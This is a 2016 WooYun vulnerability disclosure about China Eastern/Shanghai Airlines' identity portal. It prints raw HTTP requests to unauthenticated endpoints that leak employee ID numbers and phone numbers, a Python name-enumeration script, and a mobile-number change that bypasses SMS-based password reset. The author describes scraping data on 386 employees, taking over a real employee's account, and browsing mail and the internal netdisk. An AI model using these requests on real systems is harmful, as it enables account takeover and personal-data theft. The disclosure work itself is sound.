上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

admin 2017年5月6日07:31:47评论761 views字数 242阅读0分48秒阅读模式
摘要

2016-03-13: 细节已通知厂商并且等待厂商处理中
2016-03-14: 厂商已经确认,细节仅向厂商公开
2016-03-24: 细节向核心白帽子及相关领域专家公开
2016-04-03: 细节向普通白帽子公开
2016-04-13: 细节向实习白帽子公开
2016-04-28: 细节向公众公开

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2016-183875

漏洞标题: 上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

相关厂商: 上海航空

漏洞作者: 大物期末不能挂

提交时间: 2016-03-13 00:50

公开时间: 2016-04-28 09:04

漏洞类型: 账户体系控制不严

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 设计缺陷/边界绕过 逻辑错误 认证设计不合理 认证缺陷

0人收藏


漏洞详情

披露状态:

2016-03-13: 细节已通知厂商并且等待厂商处理中
2016-03-14: 厂商已经确认,细节仅向厂商公开
2016-03-24: 细节向核心白帽子及相关领域专家公开
2016-04-03: 细节向普通白帽子公开
2016-04-13: 细节向实习白帽子公开
2016-04-28: 细节向公众公开

简要描述:

帝都大三计算机专业学生,最近欲找实习,便在wooyun社区发悬赏贴。
结果发完贴之后发现wb<5,无法进入社区,无奈去找漏洞。

详细说明:

0x01 故事如何开始

寻找上海航空子域名时发现,东方航空员工都是从IDM统一身份认证自服务登陆。

code 区域
http://id.ceair.com:7777/idmsso/login.jsp

由于不是80端口,而是7777端口,引起了我的关注。

通过信息搜集和目录尝试,发现了以下目录

code 区域
http://id.ceair.com:7777/    Oracle Fusion Middleware 11g的界面。
http://id.ceair.com:7777/manual/ Apache HTTP 服务器 2.2 文档
http://id.ceair.com:7777/sysadmin/ 猜测是Oracle Fusion Middleware 11g的管理员登陆界面

http://id.ceair.com:7777/idmsso/login.jsp
http://id.ceair.com:7777/iamsso/login.jsp 以上两个为一模一样的用户登陆界面,这个引起了我的关注。发现了未授权访问页面

http://id.ceair.com:7777/idmsso/ 而我们的故事,从这个页面开始

0x02 未授权访问页面获取信息

http://id.ceair.com:7777/idmsso/页面截图如下:

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

从图片中发现,右上角登陆用户为null,然而我并没有登陆。访问页面时抓包,发现加载页面后会请求用户信息

code 区域
POST /idmsso/Self.do?method=findInfo&userLogin=null HTTP/1.1
Host: id.ceair.com:7777
Content-Length: 0
Accept: application/json, text/javascript, */*
Origin: http://id.ceair.com:7777
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Referer: http://id.ceair.com:7777/idmsso/left.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
Connection: close

其中userLogin参数为null,手工测试,改成zhangwei,liwei,zhangqiang等中国的大众姓名,发现均有数据返回。

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

于是写了脚本,利用中国常用姓名top500测试。

code 区域
#coding = utf-8
import re
import urllib
import time
import random

def gethtml(url):
while True:
try:
page = urllib.urlopen(url)
html = page.read()
return html
break
except:
print 'gethtml() error,try again'


output = open('data.txt', 'w')
output.close
url = "http://id.ceair.com:7777//idmsso/Self.do?method=findPersonalInfo&userLogin="

for line in open("name.txt"):
line=line.strip('/n')
getinfo_url = url + line
html = gethtml(getinfo_url)
output = open('data.txt','a')
output.write("%s|%s/n"%(line,html))

返回的数据格式为:{"result":["姓名","性别","邮箱","身份证号","手机号","部门","职位","公司"]}

抓取数据保存在data.txt中,发现114个姓名未匹配到,剩余抓取386人信息。统计了一下,职位中带有总经理三个字的有15人

修改密码可用,但是不知道原密码,故无法修改

code 区域
POST /idmsso/Self.do?method=changePassword HTTP/1.1
Host: id.ceair.com:7777
Content-Length: 50
Accept: application/json, text/javascript, */*
Origin: http://id.ceair.com:7777
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://id.ceair.com:7777/idmsso/changepassword.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
Connection: close

username=用户名&oldpwd=旧密码&newpwd=新密码

0x03 任意用户密码重置

根据以上获取的用户信息,我们来进行密码重置。

code 区域
http://id.ceair.com:7777/iamsso/forget-password.jsp

经过测试,此页面逻辑为

1.输入正确的用户名和身份证号,点击获取验证码。

2.后台判断无误后查找对应的手机号,发送短信验证码。

3.提交判断短信验证码是否正确。

根据之前获取的信息,我们可以轻易填写用户名和身份证号,但是要发送短信这一部分很麻烦。

回顾之前的过程,发现这个未授权页面还可以修改手机号。

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

数据包如下

code 区域
POST /idmsso/Self.do?method=changemobile&mobile=手机号码&userLogin=用户名 HTTP/1.1
Host: id.ceair.com:7777
Content-Length: 0
Accept: application/json, text/javascript, */*
Origin: http://id.ceair.com:7777
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Referer: http://id.ceair.com:7777/idmsso/personaldata.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
Connection: close

这里,我们将zhangwei的手机号改成了我们自己的手机号,然后获取验证码。

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

修改成功

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

密码强度很高,有大写小写字母,数字和特殊符号。

重置密码之后,将张伟手机号再改回来。他下次发现登录不上,自己再重置密码即可解决。

0x04 进入之后

code 区域
http://jwbte.ceair.com/app/addressbook_V2?t=1457774830778&ra=1&rp=0  公司所有人通讯录

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

在这里面获取信息之后我们可重复进行上面的第二步,用脚本搜集更多信息

code 区域
https://mail.ceair.com/owa/#

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

更改后的密码也可以登陆邮箱。

code 区域
http://pan.ceair.com/Home

东航内部网盘,大量内部信息

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

还有员工单点登陆。

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

就大致看了几个网站,剩下的没深入,觉得已经可以证明危害,就提交了。

漏洞证明:

未授权访问页面:

code 区域
http://id.ceair.com:7777/    Oracle Fusion Middleware 11g的界面。
http://id.ceair.com:7777/manual/ Apache HTTP 服务器 2.2 文档
http://id.ceair.com:7777/sysadmin/ 猜测是Oracle Fusion Middleware 11g的管理员登陆界面

http://id.ceair.com:7777/idmsso/login.jsp
http://id.ceair.com:7777/iamsso/login.jsp 以上两个为一模一样的用户登陆界面,这个引起了我的关注。发现了未授权访问页面

http://id.ceair.com:7777/idmsso/ 而我们的故事,从这个页面开始

0

抓包修改数据即可获取员工信息,修改手机号。如果知道原密码,还可以修改密码

任意用户密码重置:根据未授权访问页面获取的信息+修改对应员工手机号即可重置任意用户密码。

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

修复方案:

1.未授权页面删除或者添加权限控制。

2.用户名可以添加一些规则,例如zhang.wei wei.zhang 而不是zhangwei,太容易猜解了。

3.公共网盘中不知道有没有企业需要的重要信息,如果有,建议不要放在公共网盘中。

版权声明:转载请注明来源 大物期末不能挂@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-03-14 09:04

厂商回复:

十分感谢!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-13 03:15 | 大物期末不能挂 ( 普通白帽子 | Rank:176 漏洞数:29 | 1.一个学渣,只求每门都不挂 2.想把漏洞提...)

    1

    深夜审洞,66666

  2. 2016-03-13 11:27 | Mr.Q ( 普通白帽子 | Rank:563 漏洞数:78 )

    1

    @大物期末不能挂 好久不见啊

  3. 2016-03-13 12:09 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    1

    6666

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin